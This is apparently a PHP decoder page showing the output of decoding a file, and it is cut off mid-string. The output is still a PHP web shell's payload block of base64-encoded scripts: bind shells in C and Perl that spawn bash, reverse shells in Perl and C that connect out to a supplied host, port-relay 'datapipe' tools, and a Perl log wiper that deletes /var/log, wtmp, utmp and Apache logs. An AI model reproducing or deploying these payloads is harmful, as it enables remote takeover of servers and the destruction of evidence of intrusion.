Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL..
Decoded Output download
<? $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==";
$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
$log_pl="IyEvdXNyL2Jpbi9wZXJsCnVzZSBzdHJpY3Q7CgogIHN5c3RlbSAiZWNobyAtZSBcIlwwMzNbMDE7MzRtU3RhcnRlZCBNU1JtbCBWMC4xIGJ5IFBSSVtsbCBPayAhIVwwMzNbMDE7MzdtXCJcbiI7CiAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtQ2xlYW5pbmcgdXAgbG9ncyAuLi5cIlxuIjsKICBzeXN0ZW0gImVjaG8gLWUgXCJcMDMzWzAxOzM0bS0tLS0tLS0tLWVyYXNpbmcgZGVmYXVsdCBsb2cgZmlsZXMgKHRvbyBmYXN0ID0pKS0tLS0tLS0tLVwwMzNbMDE7MzdtXCJcbiI7CiAgICBpZiggLWUgIi92YXIvbG9nL2xhc3Rsb2ciICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Zhci9sb2cvbGFzdGxvZyc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL3Zhci9sb2cvbGFzdGxvZyAtZXJhc2VkIE9rXCJcbiI7CiAgICAgIH0KICAgICBlbHNlCiAgICAgIHsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzMxbVsqXS92YXIvbG9nL2xhc3Rsb2cgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgICBpZiggLWUgIi92YXIvbG9nL3d0bXAiICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Zhci9sb2cvd3RtcCc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL3Zhci9sb2cvd3RtcCAtZXJhc2VkIE9rXCJcbiI7CiAgICAgIH0KICAgICBlbHNlCiAgICAgIHsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzMxbVsqXS92YXIvbG9nL3d0bXAgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgIGlmKCAtZSAiL2V0Yy93dG1wIiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC9ldGMvd3RtcCc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL2V0Yy93dG1wIC1lcmFzZWQgT2tcIlxuIjsKICAgICAgfQogICAgZWxzZQogICAgICB7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszMW1bKl0vZXRjL3d0bXAgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgIGlmKCAtZSAiL3Zhci9ydW4vdXRtcCIgKQogICAgICB7CiAgICAgICBzeXN0ZW0gJ3JtIC1yZiAvdmFyL3J1bi91dG1wJzsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzM3bSBbKl0vdmFyL3J1bi91dG1wIC1lcmFzZWQgT2tcIlxuIjsKICAgICAgfQogICAgZWxzZQogICAgICB7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszMW1bKl0vdmFyL3J1bi91dG1wIC0gTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeVxcMDMzWzAxOzM3bVwiXG4iOwogICAgICB9CiAgICBpZiggLWUgIi9ldGMvdXRtcCIgKQogICAgICB7CiAgICAgICBzeXN0ZW0gJ3JtIC1yZiAvZXRjL3V0bXAnOwogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtIFsqXS9ldGMvdXRtcCAtZXJhc2VkIE9rXCJcbiI7CiAgICAgIH0KICAgIGVsc2UKICAgICAgewogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzFtWypdL2V0Yy91dG1wIC0gTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeVxcMDMzWzAxOzM3bVwiXG4iOwogICAgICB9CiAgICBpZiggLWUgIi92YXIvbG9nIiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC92YXIvbG9nJzsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzM3bSBbKl0vdmFyL2xvZyAtZXJhc2VkIE9rXCJcbiI7CiAgICAgIH0KICAgIGVsc2UKICAgICAgewogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzFtWypdL3Zhci9sb2cgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgICAgIGlmKCAtZSAiL3Zhci9sb2dzIiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC92YXIvbG9ncyc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL3Zhci9sb2dzIC1lcmFzZWQgT2tcIlxuIjsKICAgICAgfQogICAgZWxzZQogICAgICB7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszMW1bKl0vdmFyL2xvZ3MgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgIGlmKCAtZSAiL3Zhci9hZG0iICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Zhci9hZG0nOwogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtIFsqXS92YXIvYWRtIC1lcmFzZWQgT2tcIlxuIjsKICAgICAgfQogICAgZWxzZQogICAgICB7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszMW1bKl0vdmFyL2FkbSAtIE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnlcXDAzM1swMTszN21cIlxuIjsKICAgICAgfQogICAgaWYoIC1lICIvdmFyL2FwYWNoZS9sb2ciICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Zhci9hcGFjaGUvbG9nJzsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzM3bSBbKl0vdmFyL2FwYWNoZS9sb2cgLWVyYXNlZCBPa1wiXG4iOwogICAgICB9CiAgIGVsc2UKICAgICAgewogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzFtWypdL3Zhci9hcGFjaGUvbG9nIC0gTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeVxcMDMzWzAxOzM3bVwiXG4iOwogICAgICB9CiAgICBpZiggLWUgIi92YXIvYXBhY2hlL2xvZ3MiICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Zhci9hcGFjaGUvbG9ncyc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL3Zhci9hcGFjaGUvbG9ncyAtZXJhc2VkIE9rXCJcbiI7CiAgICAgIH0KICAgIGVsc2UKICAgICAgewogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzFtWypdL3Zhci9hcGFjaGUvbG9ncyAtIE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnlcXDAzM1swMTszN21cIlxuIjsKICAgICAgfQogICAgaWYoIC1lICIvdXNyL2xvY2FsL2FwYWNoZS9sb2ciICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Vzci9sb2NhbC9hcGFjaGUvbG9nJzsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzM3bSBbKl0vdXNyL2xvY2FsL2FwYWNoZS9sb2cgLWVyYXNlZCBPa1wiXG4iOwogICAgICB9CiAgICBlbHNlCiAgICAgIHsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzMxbVsqXS91c3IvbG9jYWwvYXBhY2hlL2xvZyAtIE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnlcXDAzM1swMTszN21cIlxuIjsKICAgICAgfQogICAgaWYoIC1lICIvdXNyL2xvY2FsL2FwYWNoZS9sb2dzIiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3MnOwogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtIFsqXS91c3IvbG9jYWwvYXBhY2hlL2xvZ3MgLWVyYXNlZCBPa1wiXG4iOwogICAgICB9CiAgIGVsc